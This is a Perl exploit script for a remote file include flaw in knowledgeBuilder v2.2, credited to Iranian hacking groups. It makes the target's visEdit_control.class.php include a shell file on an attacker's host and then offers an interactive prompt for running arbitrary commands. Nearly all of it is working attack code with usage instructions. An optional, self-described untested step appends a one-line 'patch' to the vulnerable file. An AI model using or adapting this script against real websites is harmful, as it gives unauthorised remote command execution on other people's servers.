#!/usr/bin/perl # # knowledgeBuilder v.2.2.php.NuLL-WDYL=> Remote File Include Vulnerability # Script.............. :knowledgebuilder php.NuLL WDYL # Discovered By.... : IGI # Expl0iter ........ : Root3r_H3LL # Location .......... : Iran # Class.............. : Remote # Original Advisory :http://www.Virangar.org & http://Www.PersainFox.com # <Spical TNX Irania Hackers : # ( Aria-Security , Crouz , DeltaHacking , Iranhackers # Kapa TeaM , Ashiyane , Shabgard , Simorgh-ev, Xmors ) use LWP::UserAgent; use LWP::Simple; $target = @ARGV[0]; $shellsite = @ARGV[1]; $shellcmd = @ARGV[2]; $file = "/admin/e_data/visEdit_control.class.php?visEdit_root="; if(!$target || !$shellsite) { usage(); } header(); print "Type 'exit' to quit"; print "[cmd]$"; $cmd = <STDIN>; while ($cmd !~ "exit") { $xpl = LWP::UserAgent->new() or die; $req = HTTP::Request->new(GET=>$target.$file.$shellsite.'?&'.$shellcmd.'='.$cmd ) or die("nn Failed to connect."); $res = $xpl->request($req); $r = $res->content; $r =~ tr/[n]/[&#234;]/; if (@ARGV[4] eq "-r") { print $r; } elsif (@ARGV[5] eq "-p") { # if not working change cmd variable to null and apply patch manually. $cmd = "echo if(basename(__FILE__) == basename($_SERVER['PHP_SELF'])) die(); >> visEdit_control.class.php"; print q { !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!! !! Patch Applied !! !! Code added to visEdit_control.class.php: !! !! if(basename(__FILE__) == basename($_SERVER['PHP_SELF'])) !! !! die(); !! !! !! !! NOTE: Adding patch function has not been tested. If does not complie or !! !! there is an error, simply make cmd = null and add the patch code to !! !! visEdit_control.class.php !! !! !! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!! } } else { print "[cmd]$"; $cmd = <STDIN>; } } sub header() { print q { ................................................................ .. .. .. knowledgebuilder <= Remote File Include Exploit .. .. .. ................................................................ .. Virangar Under Ground TeaM .. .. AND .. .. PerSiaNFox NetWork Security TeaM .. .. Discovered By : IGI .. .. ExPl0iter : Root3r_H3LL .. ................................................................ .. Www.Virangar.OrG .. .. Www.PerSiaNFox.coM .. .. Www.Virangar.NeT .. ................................................................ <//\/_ 10/3 15 1|)4// }; } sub usage() { header(); print q { .............................. Usage perl Expl0it.pl <Target website> <Shell Location> <CMD Variable> <-r> <-p> <Target Website> - Path to target eg: www.SiteName.com <Shell Location> - Path to shell eg: www.Sh3llserver.com/sh3ll.txt <CMD Variable> - Shell command variable name eg: cmd <r> - Show output from shell <p> - Patch visEdit_control.class.php Example perl Expl0it.pl http://SiteName http://Sh3llserver/sh3ll.txt cmd -r -p }; exit(); }